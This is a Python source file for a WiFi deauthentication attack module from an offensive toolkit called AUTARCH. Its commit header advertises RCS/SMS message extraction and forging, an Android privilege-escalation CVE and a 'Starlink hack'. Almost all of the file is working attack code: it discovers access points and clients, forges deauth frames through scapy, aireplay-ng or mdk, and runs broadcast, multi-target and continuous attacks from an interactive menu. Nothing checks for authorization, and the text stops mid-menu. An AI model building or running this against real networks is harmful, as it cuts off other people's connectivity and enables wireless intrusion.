Autarch/modules/deauth.py
DigiJ cdde8717d0 v2.3.0 — RCS exploit v2.0, Starlink hack, SMS forge, Archon RCS module
Major RCS/SMS exploitation rewrite (v2.0):
- bugle_db direct extraction (plaintext messages, no decryption needed)
- CVE-2024-0044 run-as privilege escalation (Android 12-13)
- AOSP RCS provider queries (content://rcs/)
- Archon app relay for Shizuku-elevated bugle_db access
- 7-tab web UI: Extract, Database, Forge, Modify, Exploit, Backup, Monitor
- SQL query interface for extracted databases
- Full backup/restore/clone with SMS Backup & Restore XML support
- Known CVE database (CVE-2023-24033, CVE-2024-49415, CVE-2025-48593)
- IMS/RCS diagnostics, Phenotype verbose logging, Pixel tools

New modules: Starlink hack, SMS forge, SDR drone detection
Archon Android app: RCS messaging module with Shizuku integration
Updated manuals to v2.3, 60 web blueprints confirmed

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 13:50:59 -08:00

1288 lines
49 KiB
Python

"""AUTARCH Deauth Attack Module
Targeted and broadcast WiFi deauthentication, multi-target attacks,
continuous mode, channel hopping, and client discovery for wireless
assessments. Designed for Raspberry Pi and SBCs with monitor-mode adapters.
"""
DESCRIPTION = "WiFi deauthentication — targeted & broadcast attacks"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"
import os
import re
import sys
import json
import time
import shutil
import signal
import struct
import threading
import subprocess
from pathlib import Path
from datetime import datetime
from typing import Dict, List, Optional, Any
try:
from core.paths import find_tool, get_data_dir
except ImportError:
def find_tool(name):
return shutil.which(name)
def get_data_dir():
return str(Path(__file__).parent.parent / 'data')
sys.path.insert(0, str(Path(__file__).parent.parent))
try:
from core.banner import Colors, clear_screen, display_banner
except ImportError:
class Colors:
RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = MAGENTA = ""
def clear_screen(): pass
def display_banner(): pass
# ── Singleton ────────────────────────────────────────────────────────────────
_instance = None
def get_deauth():
"""Return singleton DeauthAttack instance."""
global _instance
if _instance is None:
_instance = DeauthAttack()
return _instance
# ── Helpers ──────────────────────────────────────────────────────────────────
MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$')
BROADCAST = 'FF:FF:FF:FF:FF:FF'
def _validate_mac(mac: str) -> bool:
return bool(MAC_RE.match(mac))
def _run(cmd, timeout=30) -> tuple:
"""Run a command, return (success, stdout)."""
try:
result = subprocess.run(
cmd, shell=isinstance(cmd, str),
capture_output=True, text=True, timeout=timeout
)
return result.returncode == 0, result.stdout.strip()
except subprocess.TimeoutExpired:
return False, 'Command timed out'
except Exception as e:
return False, str(e)
def _run_bg(cmd) -> Optional[subprocess.Popen]:
"""Start a background process, return Popen or None."""
try:
proc = subprocess.Popen(
cmd, shell=isinstance(cmd, str),
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
text=True
)
return proc
except Exception:
return None
# ── DeauthAttack Class ───────────────────────────────────────────────────────
class DeauthAttack:
"""WiFi deauthentication attack toolkit."""
def __init__(self):
# Data directory
data_root = get_data_dir()
if isinstance(data_root, Path):
data_root = str(data_root)
self.data_dir = os.path.join(data_root, 'deauth')
os.makedirs(self.data_dir, exist_ok=True)
self.history_path = os.path.join(self.data_dir, 'history.json')
# Tool paths
self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')
self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng')
self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng')
self.mdk3 = find_tool('mdk3') or shutil.which('mdk3')
self.mdk4 = find_tool('mdk4') or shutil.which('mdk4')
self.iw = shutil.which('iw')
self.ip_cmd = shutil.which('ip')
self.iwconfig = shutil.which('iwconfig')
# Scapy availability
self._scapy = None
try:
from scapy.all import (
Dot11, Dot11Deauth, RadioTap, sendp, sniff, conf
)
self._scapy = True
except ImportError:
self._scapy = False
# Attack state
self._continuous_thread: Optional[threading.Thread] = None
self._continuous_running = False
self._continuous_target = {}
self._continuous_frames_sent = 0
self._continuous_start_time = 0.0
# Channel hopping state
self._hop_thread: Optional[threading.Thread] = None
self._hop_running = False
self._current_channel = 0
# Attack history
self._history: List[Dict] = []
self._load_history()
# ── Tool Status ──────────────────────────────────────────────────────
def get_tools_status(self) -> Dict[str, Any]:
"""Return availability of all tools used by this module."""
return {
'aireplay-ng': self.aireplay is not None,
'airmon-ng': self.airmon is not None,
'airodump-ng': self.airodump is not None,
'mdk3': self.mdk3 is not None,
'mdk4': self.mdk4 is not None,
'iw': self.iw is not None,
'ip': self.ip_cmd is not None,
'iwconfig': self.iwconfig is not None,
'scapy': self._scapy is True,
}
# ── Interface Management ─────────────────────────────────────────────
def get_interfaces(self) -> List[Dict]:
"""List wireless interfaces with mode info."""
interfaces = []
# Try iw dev first
if self.iw:
try:
out = subprocess.check_output(
[self.iw, 'dev'], text=True, timeout=5
)
iface = None
for line in out.splitlines():
line = line.strip()
if line.startswith('Interface'):
if iface:
interfaces.append(iface)
iface = {
'name': line.split()[-1],
'mode': 'managed',
'channel': 0,
'mac': '',
'phy': ''
}
elif iface:
if line.startswith('type'):
iface['mode'] = line.split()[-1]
elif line.startswith('channel'):
try:
iface['channel'] = int(line.split()[1])
except (ValueError, IndexError):
pass
elif line.startswith('addr'):
iface['mac'] = line.split()[-1]
if iface:
interfaces.append(iface)
except Exception:
pass
# Fallback to iwconfig
if not interfaces and self.iwconfig:
try:
out = subprocess.check_output(
[self.iwconfig], text=True,
stderr=subprocess.DEVNULL, timeout=5
)
for block in out.split('\n\n'):
if 'IEEE 802.11' in block or 'ESSID' in block:
name = block.split()[0]
mode = 'managed'
if 'Mode:Monitor' in block:
mode = 'monitor'
elif 'Mode:Master' in block:
mode = 'master'
ch_m = re.search(r'Channel[:\s]*(\d+)', block)
ch = int(ch_m.group(1)) if ch_m else 0
mac_m = re.search(
r'HWaddr\s+([\da-fA-F:]{17})', block
)
mac = mac_m.group(1) if mac_m else ''
interfaces.append({
'name': name, 'mode': mode,
'channel': ch, 'mac': mac, 'phy': ''
})
except Exception:
pass
# Last resort: /sys/class/net
if not interfaces:
try:
sys_net = Path('/sys/class/net')
if sys_net.exists():
for d in sys_net.iterdir():
if (d / 'wireless').exists() or (d / 'phy80211').exists():
interfaces.append({
'name': d.name, 'mode': 'unknown',
'channel': 0, 'mac': '', 'phy': ''
})
except Exception:
pass
return interfaces
def enable_monitor(self, interface: str) -> Dict:
"""Put interface into monitor mode.
Tries airmon-ng first, falls back to iw.
Returns dict with ok, interface (monitor name), and message.
"""
if not interface:
return {'ok': False, 'error': 'No interface specified'}
# Try airmon-ng
if self.airmon:
try:
# Kill interfering processes
subprocess.run(
[self.airmon, 'check', 'kill'],
capture_output=True, text=True, timeout=10
)
result = subprocess.run(
[self.airmon, 'start', interface],
capture_output=True, text=True, timeout=15
)
output = result.stdout + result.stderr
# Detect the monitor interface name
mon_match = re.search(
r'\(monitor mode (?:vif )?enabled(?: on| for) \[?(\w+)\]?\)',
output
)
if mon_match:
mon_iface = mon_match.group(1)
elif os.path.isdir(f'/sys/class/net/{interface}mon'):
mon_iface = f'{interface}mon'
else:
mon_iface = interface
return {
'ok': True,
'interface': mon_iface,
'message': f'Monitor mode enabled on {mon_iface}'
}
except Exception as e:
return {'ok': False, 'error': f'airmon-ng failed: {e}'}
# Fallback: iw
if self.iw and self.ip_cmd:
try:
subprocess.run(
[self.ip_cmd, 'link', 'set', interface, 'down'],
capture_output=True, timeout=5
)
result = subprocess.run(
[self.iw, 'dev', interface, 'set', 'type', 'monitor'],
capture_output=True, text=True, timeout=5
)
subprocess.run(
[self.ip_cmd, 'link', 'set', interface, 'up'],
capture_output=True, timeout=5
)
if result.returncode == 0:
return {
'ok': True,
'interface': interface,
'message': f'Monitor mode enabled on {interface} (via iw)'
}
return {'ok': False, 'error': result.stderr.strip() or 'iw set monitor failed'}
except Exception as e:
return {'ok': False, 'error': f'iw failed: {e}'}
return {'ok': False, 'error': 'No tool available (need airmon-ng or iw+ip)'}
def disable_monitor(self, interface: str) -> Dict:
"""Restore interface to managed mode."""
if not interface:
return {'ok': False, 'error': 'No interface specified'}
# Try airmon-ng
if self.airmon:
try:
result = subprocess.run(
[self.airmon, 'stop', interface],
capture_output=True, text=True, timeout=15
)
output = result.stdout + result.stderr
managed_match = re.search(
r'\(monitor mode disabled(?: on)? (\w+)\)', output
)
managed_name = managed_match.group(1) if managed_match else interface.replace('mon', '')
return {
'ok': True,
'interface': managed_name,
'message': f'Managed mode restored on {managed_name}'
}
except Exception as e:
return {'ok': False, 'error': f'airmon-ng stop failed: {e}'}
# Fallback: iw
if self.iw and self.ip_cmd:
try:
subprocess.run(
[self.ip_cmd, 'link', 'set', interface, 'down'],
capture_output=True, timeout=5
)
result = subprocess.run(
[self.iw, 'dev', interface, 'set', 'type', 'managed'],
capture_output=True, text=True, timeout=5
)
subprocess.run(
[self.ip_cmd, 'link', 'set', interface, 'up'],
capture_output=True, timeout=5
)
if result.returncode == 0:
return {
'ok': True,
'interface': interface,
'message': f'Managed mode restored on {interface}'
}
return {'ok': False, 'error': result.stderr.strip() or 'iw set managed failed'}
except Exception as e:
return {'ok': False, 'error': f'iw failed: {e}'}
return {'ok': False, 'error': 'No tool available'}
# ── Scanning ─────────────────────────────────────────────────────────
def scan_networks(self, interface: str, duration: int = 10) -> List[Dict]:
"""Passive scan for access points.
Uses airodump-ng CSV output or scapy sniffing.
Returns list of dicts: bssid, ssid, channel, encryption, signal, clients_count.
"""
if not interface:
return []
networks = []
# Method 1: airodump-ng
if self.airodump:
tmp_prefix = os.path.join(self.data_dir, f'scan_{int(time.time())}')
try:
proc = subprocess.Popen(
[self.airodump, '--write', tmp_prefix,
'--output-format', 'csv', '--write-interval', '1',
interface],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
time.sleep(min(duration, 120))
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
# Parse CSV
csv_path = f'{tmp_prefix}-01.csv'
if os.path.isfile(csv_path):
networks = self._parse_airodump_csv(csv_path)
# Clean up temp files
for f in Path(self.data_dir).glob(
f'scan_{os.path.basename(tmp_prefix).replace("scan_", "")}*'
):
try:
f.unlink()
except Exception:
pass
except Exception:
pass
# Method 2: scapy fallback
if not networks and self._scapy:
networks = self._scan_scapy(interface, duration)
return networks
def _parse_airodump_csv(self, csv_path: str) -> List[Dict]:
"""Parse airodump-ng CSV output into network list."""
networks = []
clients_map: Dict[str, int] = {}
section = 'ap'
try:
with open(csv_path, 'r', errors='ignore') as f:
for line in f:
line = line.strip()
if not line:
continue
if line.startswith('Station MAC'):
section = 'client'
continue
if line.startswith('BSSID') or line.startswith('\x00'):
continue
parts = [p.strip() for p in line.split(',')]
if section == 'ap' and len(parts) >= 14:
bssid = parts[0]
if not _validate_mac(bssid):
continue
channel = 0
try:
channel = int(parts[3])
except (ValueError, IndexError):
pass
signal = -100
try:
signal = int(parts[8])
except (ValueError, IndexError):
pass
encryption = parts[5] if len(parts) > 5 else ''
ssid = parts[13] if len(parts) > 13 else ''
networks.append({
'bssid': bssid,
'ssid': ssid,
'channel': channel,
'encryption': encryption,
'signal': signal,
'clients_count': 0
})
elif section == 'client' and len(parts) >= 6:
client_mac = parts[0]
ap_bssid = parts[5] if len(parts) > 5 else ''
if _validate_mac(ap_bssid):
clients_map[ap_bssid] = clients_map.get(ap_bssid, 0) + 1
# Merge client counts
for net in networks:
net['clients_count'] = clients_map.get(net['bssid'], 0)
except Exception:
pass
return networks
def _scan_scapy(self, interface: str, duration: int) -> List[Dict]:
"""Scan using scapy beacon sniffing."""
networks = {}
try:
from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff
def handler(pkt):
if pkt.haslayer(Dot11Beacon):
bssid = pkt[Dot11].addr2
if not bssid or bssid in networks:
return
ssid = ''
channel = 0
enc = 'OPEN'
elt = pkt[Dot11Elt]
while elt:
if elt.ID == 0: # SSID
try:
ssid = elt.info.decode('utf-8', errors='replace')
except Exception:
ssid = ''
elif elt.ID == 3: # DS Parameter Set (channel)
try:
channel = int(elt.info[0])
except Exception:
pass
elt = elt.payload.getlayer(Dot11Elt)
cap = pkt.sprintf('{Dot11Beacon:%Dot11Beacon.cap%}')
if 'privacy' in cap:
enc = 'WPA/WPA2'
try:
sig = -(256 - ord(pkt.notdecoded[-4:-3]))
except Exception:
sig = -100
networks[bssid] = {
'bssid': bssid,
'ssid': ssid,
'channel': channel,
'encryption': enc,
'signal': sig,
'clients_count': 0
}
sniff(iface=interface, prn=handler, timeout=duration, store=False)
except Exception:
pass
return list(networks.values())
def scan_clients(self, interface: str, target_bssid: Optional[str] = None,
duration: int = 10) -> List[Dict]:
"""Discover client-AP associations.
Returns list of dicts: client_mac, ap_bssid, ap_ssid, signal, packets.
"""
if not interface:
return []
clients = []
# Method 1: airodump-ng with optional BSSID filter
if self.airodump:
tmp_prefix = os.path.join(self.data_dir, f'clients_{int(time.time())}')
cmd = [
self.airodump, '--write', tmp_prefix,
'--output-format', 'csv', '--write-interval', '1'
]
if target_bssid and _validate_mac(target_bssid):
cmd += ['--bssid', target_bssid]
cmd.append(interface)
try:
proc = subprocess.Popen(
cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
time.sleep(min(duration, 120))
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
csv_path = f'{tmp_prefix}-01.csv'
if os.path.isfile(csv_path):
clients = self._parse_clients_csv(csv_path, target_bssid)
for f in Path(self.data_dir).glob(
f'clients_{os.path.basename(tmp_prefix).replace("clients_", "")}*'
):
try:
f.unlink()
except Exception:
pass
except Exception:
pass
# Method 2: scapy fallback
if not clients and self._scapy:
clients = self._scan_clients_scapy(interface, target_bssid, duration)
return clients
def _parse_clients_csv(self, csv_path: str,
target_bssid: Optional[str] = None) -> List[Dict]:
"""Parse airodump CSV for client associations."""
clients = []
ap_names: Dict[str, str] = {}
section = 'ap'
try:
with open(csv_path, 'r', errors='ignore') as f:
for line in f:
line = line.strip()
if not line:
continue
if line.startswith('Station MAC'):
section = 'client'
continue
if line.startswith('BSSID'):
continue
parts = [p.strip() for p in line.split(',')]
if section == 'ap' and len(parts) >= 14:
bssid = parts[0]
ssid = parts[13] if len(parts) > 13 else ''
if _validate_mac(bssid):
ap_names[bssid] = ssid
elif section == 'client' and len(parts) >= 6:
client_mac = parts[0]
if not _validate_mac(client_mac):
continue
ap_bssid = parts[5] if len(parts) > 5 else ''
if not _validate_mac(ap_bssid):
continue
if target_bssid and ap_bssid.upper() != target_bssid.upper():
continue
signal = -100
try:
signal = int(parts[3])
except (ValueError, IndexError):
pass
packets = 0
try:
packets = int(parts[4])
except (ValueError, IndexError):
pass
clients.append({
'client_mac': client_mac,
'ap_bssid': ap_bssid,
'ap_ssid': ap_names.get(ap_bssid, ''),
'signal': signal,
'packets': packets
})
except Exception:
pass
return clients
def _scan_clients_scapy(self, interface: str,
target_bssid: Optional[str],
duration: int) -> List[Dict]:
"""Discover clients using scapy."""
seen: Dict[str, Dict] = {}
try:
from scapy.all import Dot11, sniff
def handler(pkt):
if not pkt.haslayer(Dot11):
return
d11 = pkt[Dot11]
# Data or management frames — addr1=dest, addr2=src, addr3=bssid
src = d11.addr2
dst = d11.addr1
bssid = d11.addr3
if not src or not bssid:
return
if src == bssid or src == BROADCAST.lower():
return
if target_bssid and bssid.upper() != target_bssid.upper():
return
key = f'{src}_{bssid}'
if key not in seen:
seen[key] = {
'client_mac': src,
'ap_bssid': bssid,
'ap_ssid': '',
'signal': -100,
'packets': 0
}
seen[key]['packets'] += 1
sniff(iface=interface, prn=handler, timeout=duration, store=False)
except Exception:
pass
return list(seen.values())
# ── Deauthentication Attacks ─────────────────────────────────────────
def deauth_targeted(self, interface: str, target_bssid: str,
client_mac: str, count: int = 10,
interval: float = 0.1) -> Dict:
"""Send deauth frames to a specific client on a specific AP.
Uses aireplay-ng or scapy Dot11Deauth as fallback.
Returns stats dict.
"""
if not _validate_mac(target_bssid):
return {'ok': False, 'error': 'Invalid target BSSID'}
if not _validate_mac(client_mac):
return {'ok': False, 'error': 'Invalid client MAC'}
count = max(1, min(count, 99999))
start_ts = time.time()
frames_sent = 0
# Method 1: aireplay-ng
if self.aireplay:
try:
result = subprocess.run(
[self.aireplay, '-0', str(count),
'-a', target_bssid, '-c', client_mac, interface],
capture_output=True, text=True,
timeout=max(30, count * interval * 2 + 10)
)
output = result.stdout + result.stderr
sent_match = re.search(r'(\d+)\s+(?:ACKs|packets)', output)
if sent_match:
frames_sent = int(sent_match.group(1))
else:
frames_sent = count
except subprocess.TimeoutExpired:
frames_sent = count
except Exception as e:
return {'ok': False, 'error': f'aireplay-ng failed: {e}'}
# Method 2: scapy
elif self._scapy:
frames_sent = self._deauth_scapy(
interface, target_bssid, client_mac, count, interval
)
# Method 3: mdk4 / mdk3
elif self.mdk4 or self.mdk3:
tool = self.mdk4 or self.mdk3
frames_sent = self._deauth_mdk(
tool, interface, target_bssid, client_mac, count
)
else:
return {'ok': False, 'error': 'No deauth tool available (need aireplay-ng, scapy, or mdk3/mdk4)'}
elapsed = round(time.time() - start_ts, 2)
record = {
'timestamp': datetime.now().isoformat(),
'target_bssid': target_bssid,
'client_mac': client_mac,
'mode': 'targeted',
'count': count,
'frames_sent': frames_sent,
'duration': elapsed,
'interface': interface
}
self._add_history(record)
return {
'ok': True,
'mode': 'targeted',
'target_bssid': target_bssid,
'client_mac': client_mac,
'frames_sent': frames_sent,
'duration': elapsed
}
def deauth_broadcast(self, interface: str, target_bssid: str,
count: int = 10, interval: float = 0.1) -> Dict:
"""Broadcast deauth to all clients on an AP."""
return self.deauth_targeted(
interface, target_bssid, BROADCAST, count, interval
)
def deauth_multi(self, interface: str, targets: List[Dict],
count: int = 10, interval: float = 0.1) -> Dict:
"""Deauth multiple AP/client pairs.
targets: list of {bssid, client_mac}
"""
if not targets:
return {'ok': False, 'error': 'No targets specified'}
results = []
total_frames = 0
for t in targets:
bssid = t.get('bssid', '')
client = t.get('client_mac', BROADCAST)
if not client:
client = BROADCAST
r = self.deauth_targeted(interface, bssid, client, count, interval)
results.append(r)
if r.get('ok'):
total_frames += r.get('frames_sent', 0)
return {
'ok': True,
'mode': 'multi',
'targets_count': len(targets),
'total_frames': total_frames,
'results': results
}
def _deauth_scapy(self, interface: str, bssid: str, client: str,
count: int, interval: float) -> int:
"""Send deauth using scapy."""
frames_sent = 0
try:
from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp
# Deauth from AP to client
pkt_ap = (RadioTap() /
Dot11(addr1=client, addr2=bssid, addr3=bssid) /
Dot11Deauth(reason=7))
# Deauth from client to AP
pkt_cl = (RadioTap() /
Dot11(addr1=bssid, addr2=client, addr3=bssid) /
Dot11Deauth(reason=7))
for _ in range(count):
sendp(pkt_ap, iface=interface, count=1, verbose=False)
sendp(pkt_cl, iface=interface, count=1, verbose=False)
frames_sent += 2
if interval > 0:
time.sleep(interval)
except Exception:
pass
return frames_sent
def _deauth_mdk(self, tool: str, interface: str, bssid: str,
client: str, count: int) -> int:
"""Send deauth using mdk3/mdk4."""
# Create a target file for mdk
target_file = os.path.join(self.data_dir, 'mdk_targets.txt')
try:
with open(target_file, 'w') as f:
f.write(f'{bssid}\n')
result = subprocess.run(
[tool, interface, 'd', '-b', target_file, '-c', str(count)],
capture_output=True, text=True, timeout=max(30, count + 10)
)
return count # mdk does not reliably report frame count
except Exception:
return 0
finally:
try:
os.unlink(target_file)
except Exception:
pass
# ── Continuous Mode ──────────────────────────────────────────────────
def start_continuous(self, interface: str, target_bssid: str,
client_mac: Optional[str] = None,
interval: float = 0.5,
burst: int = 5) -> Dict:
"""Start continuous deauth in a background thread.
Sends `burst` deauth frames every `interval` seconds.
"""
if self._continuous_running:
return {'ok': False, 'error': 'Continuous attack already running'}
if not _validate_mac(target_bssid):
return {'ok': False, 'error': 'Invalid target BSSID'}
if client_mac and not _validate_mac(client_mac):
return {'ok': False, 'error': 'Invalid client MAC'}
client = client_mac or BROADCAST
interval = max(0.05, min(interval, 60.0))
burst = max(1, min(burst, 1000))
self._continuous_running = True
self._continuous_frames_sent = 0
self._continuous_start_time = time.time()
self._continuous_target = {
'interface': interface,
'target_bssid': target_bssid,
'client_mac': client,
'interval': interval,
'burst': burst
}
def _worker():
while self._continuous_running:
r = self.deauth_targeted(
interface, target_bssid, client, burst, 0
)
if r.get('ok'):
self._continuous_frames_sent += r.get('frames_sent', 0)
time.sleep(interval)
self._continuous_thread = threading.Thread(
target=_worker, daemon=True, name='deauth-continuous'
)
self._continuous_thread.start()
return {
'ok': True,
'message': f'Continuous deauth started against {target_bssid}',
'mode': 'broadcast' if client == BROADCAST else 'targeted'
}
def stop_continuous(self) -> Dict:
"""Stop continuous deauth attack."""
if not self._continuous_running:
return {'ok': False, 'error': 'No continuous attack running'}
self._continuous_running = False
if self._continuous_thread:
self._continuous_thread.join(timeout=5)
self._continuous_thread = None
elapsed = round(time.time() - self._continuous_start_time, 2)
frames = self._continuous_frames_sent
record = {
'timestamp': datetime.now().isoformat(),
'target_bssid': self._continuous_target.get('target_bssid', ''),
'client_mac': self._continuous_target.get('client_mac', ''),
'mode': 'continuous',
'count': frames,
'frames_sent': frames,
'duration': elapsed,
'interface': self._continuous_target.get('interface', '')
}
self._add_history(record)
return {
'ok': True,
'message': 'Continuous attack stopped',
'frames_sent': frames,
'duration': elapsed
}
def is_attacking(self) -> bool:
"""Check if continuous attack is running."""
return self._continuous_running
def get_attack_status(self) -> Dict:
"""Return current attack state."""
if not self._continuous_running:
return {
'running': False,
'target_bssid': '',
'client_mac': '',
'frames_sent': 0,
'duration': 0,
'mode': 'idle'
}
elapsed = round(time.time() - self._continuous_start_time, 2)
client = self._continuous_target.get('client_mac', BROADCAST)
mode = 'broadcast' if client == BROADCAST else 'targeted'
return {
'running': True,
'target_bssid': self._continuous_target.get('target_bssid', ''),
'client_mac': client,
'frames_sent': self._continuous_frames_sent,
'duration': elapsed,
'mode': mode,
'interval': self._continuous_target.get('interval', 0),
'burst': self._continuous_target.get('burst', 0)
}
# ── Channel Control ──────────────────────────────────────────────────
def set_channel(self, interface: str, channel: int) -> Dict:
"""Set interface to a specific wireless channel."""
channel = max(1, min(channel, 196))
if self.iw:
ok, out = _run([self.iw, 'dev', interface, 'set', 'channel', str(channel)])
if ok:
self._current_channel = channel
return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
return {'ok': False, 'error': out or f'Failed to set channel {channel}'}
if self.iwconfig:
ok, out = _run([self.iwconfig, interface, 'channel', str(channel)])
if ok:
self._current_channel = channel
return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
return {'ok': False, 'error': out or f'Failed to set channel {channel}'}
return {'ok': False, 'error': 'No tool available (need iw or iwconfig)'}
def channel_hop(self, interface: str, channels: Optional[List[int]] = None,
dwell: float = 0.5) -> Dict:
"""Start channel hopping in a background thread.
Default channels: 1-14 (2.4 GHz).
"""
if self._hop_running:
return {'ok': False, 'error': 'Channel hopping already active'}
if not interface:
return {'ok': False, 'error': 'No interface specified'}
if not channels:
channels = list(range(1, 15))
dwell = max(0.1, min(dwell, 30.0))
self._hop_running = True
def _hop_worker():
idx = 0
while self._hop_running:
ch = channels[idx % len(channels)]
self.set_channel(interface, ch)
idx += 1
time.sleep(dwell)
self._hop_thread = threading.Thread(
target=_hop_worker, daemon=True, name='deauth-channel-hop'
)
self._hop_thread.start()
return {
'ok': True,
'message': f'Channel hopping started on {interface}',
'channels': channels,
'dwell': dwell
}
def stop_channel_hop(self) -> Dict:
"""Stop channel hopping."""
if not self._hop_running:
return {'ok': False, 'error': 'Channel hopping not active'}
self._hop_running = False
if self._hop_thread:
self._hop_thread.join(timeout=5)
self._hop_thread = None
return {'ok': True, 'message': 'Channel hopping stopped'}
# ── History ──────────────────────────────────────────────────────────
def get_attack_history(self) -> List[Dict]:
"""Return past attacks with timestamps and stats."""
return list(self._history)
def clear_history(self) -> Dict:
"""Clear attack history."""
self._history = []
self._save_history()
return {'ok': True, 'message': 'History cleared'}
def _add_history(self, record: Dict):
"""Append an attack record and persist."""
self._history.append(record)
# Keep last 500 entries
if len(self._history) > 500:
self._history = self._history[-500:]
self._save_history()
def _load_history(self):
"""Load history from disk."""
try:
if os.path.isfile(self.history_path):
with open(self.history_path, 'r') as f:
self._history = json.load(f)
except Exception:
self._history = []
def _save_history(self):
"""Persist history to disk."""
try:
with open(self.history_path, 'w') as f:
json.dump(self._history, f, indent=2)
except Exception:
pass
# ── CLI Runner ───────────────────────────────────────────────────────
def print_status(self, message: str, status: str = "info"):
colors = {
"info": Colors.CYAN, "success": Colors.GREEN,
"warning": Colors.YELLOW, "error": Colors.RED
}
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
print(f"{colors.get(status, Colors.WHITE)}"
f"[{symbols.get(status, '*')}] {message}{Colors.RESET}")
def run():
"""CLI entry point for the deauth module."""
clear_screen()
display_banner()
deauth = get_deauth()
# Show tool status
tools = deauth.get_tools_status()
available = [k for k, v in tools.items() if v]
missing = [k for k, v in tools.items() if not v]
deauth.print_status(f"Available tools: {', '.join(available) if available else 'none'}", "info")
if missing:
deauth.print_status(f"Missing tools: {', '.join(missing)}", "warning")
print()
selected_iface = None
selected_bssid = None
selected_client = None
while True:
print(f"\n{Colors.BOLD}{Colors.RED}=== Deauth Attack ==={Colors.RESET}")
print(f" Interface: {Colors.CYAN}{selected_iface or 'none'}{Colors.RESET}")
print(f" Target AP: {Colors.CYAN}{selected_bssid or 'none'}{Colors.RESET}")
print(f" Client: {Colors.CYAN}{selected_client or 'broadcast'}{Colors.RESET}")
if deauth.is_attacking():
status = deauth.get_attack_status()
print(f" {Colors.RED}[ATTACKING]{Colors.RESET} "
f"{status['frames_sent']} frames / {status['duration']}s")
print()
print(f" {Colors.GREEN}1{Colors.RESET} - Select Interface")
print(f" {Colors.GREEN}2{Colors.RESET} - Scan Networks")
print(f" {Colors.GREEN}3{Colors.RESET} - Scan Clients")
print(f" {Colors.GREEN}4{Colors.RESET} - Targeted Deauth")
print(f" {Colors.GREEN}5{Colors.RESET} - Broadcast Deauth")
print(f" {Colors.GREEN}6{Colors.RESET} - Continuous Mode")
print(f" {Colors.GREEN}7{Colors.RESET} - Stop Attack")
print(f" {Colors.GREEN}8{Colors.RESET} - Set Channel")
print(f" {Colors.GREEN}0{Colors.RESET} - Back")
print()
choice = input(f"{Colors.BOLD}Choice > {Colors.RESET}").strip()
if choice == '0':
if deauth.is_attacking():
deauth.stop_continuous()
deauth.print_status("Stopped continuous attack", "warning")
break
elif choice == '1':
ifaces = deauth.get_interfaces()
if not ifaces:
deauth.print_status("No wireless interfaces found", "error")
continue
print(f"\n{'#':<4} {'Interface':<15} {'Mode':<12} {'Channel':<8} {'MAC'}")
for i, ifc in enumerate(ifaces):
print(f"{i+1:<4} {ifc['name']:<15} {ifc['mode']:<12} "
f"{ifc['channel']:<8} {ifc['mac']}")
sel = input(f"\nSelect interface (1-{len(ifaces)}): ").strip()
try:
idx = int(sel) - 1
if 0 <= idx < len(ifaces):
selected_iface = ifaces[idx]['name']
deauth.print_status(f"Selected: {selected_iface}", "success")
if ifaces[idx]['mode'] != 'monitor':
en = input("Enable monitor mode? (y/n): ").strip().lower()
if en == 'y':
r = deauth.enable_monitor(selected_iface)
if r['ok']:
selected_iface = r['interface']
deauth.print_status(r['message'], "success")
else:
deauth.print_status(r['error'], "error")
except ValueError:
pass
elif choice == '2':
if not selected_iface:
deauth.print_status("Select an interface first", "warning")
continue
dur = input("Scan duration (seconds) [10]: ").strip()
dur = int(dur) if dur.isdigit() else 10
deauth.print_status(f"Scanning for {dur}s on {selected_iface}...", "info")
nets = deauth.scan_networks(selected_iface, dur)
if not nets:
deauth.print_status("No networks found", "warning")
continue
print(f"\n{'#':<4} {'BSSID':<20} {'SSID':<25} {'CH':<5} "
f"{'Enc':<12} {'Sig':<6} {'Clients'}")
for i, n in enumerate(nets):
print(f"{i+1:<4} {n['bssid']:<20} {n['ssid']:<25} "
f"{n['channel']:<5} {n['encryption']:<12} "
f"{n['signal']:<6} {n['clients_count']}")
sel = input(f"\nSelect target AP (1-{len(nets)}, Enter to skip): ").strip()
try:
idx = int(sel) - 1
if 0 <= idx < len(nets):
selected_bssid = nets[idx]['bssid']
deauth.print_status(
f"Target: {nets[idx]['ssid']} ({selected_bssid})", "success"
)
except ValueError:
pass
elif choice == '3':
if not selected_iface:
deauth.print_status("Select an interface first", "warning")
continue
dur = input("Scan duration (seconds) [10]: ").strip()
dur = int(dur) if dur.isdigit() else 10
deauth.print_status(
f"Scanning clients{' on ' + selected_bssid if selected_bssid else ''}...",
"info"
)
clients = deauth.scan_clients(selected_iface, selected_bssid, dur)
if not clients:
deauth.print_status("No clients found", "warning")
continue
print(f"\n{'#':<4} {'Client MAC':<20} {'AP BSSID':<20} "
f"{'Signal':<8} {'Packets'}")
for i, c in enumerate(clients):
print(f"{i+1:<4} {c['client_mac']:<20} {c['ap_bssid']:<20} "
f"{c['signal']:<8} {c['packets']}")
sel = input(f"\nSelect client (1-{len(clients)}, Enter for broadcast): ").strip()
try:
idx = int(sel) - 1
if 0 <= idx < len(clients):
selected_client = clients[idx]['client_mac']
if not selected_bssid:
selected_bssid = clients[idx]['ap_bssid']
deauth.print_status(f"Client: {selected_client}", "success")
except ValueError:
selected_client = None
elif choice == '4':
if not selected_iface or not selected_bssid:
deauth.print_status("Select interface and target AP first", "warning")
continue
client = selected_client or input("Client MAC (Enter for broadcast): ").strip()
if not client:
client = BROADCAST
cnt = input("Frame count [10]: ").strip()
cnt = int(cnt) if cnt.isdigit() else 10
deauth.print_status(f"Sending {cnt} deauth frames...", "info")
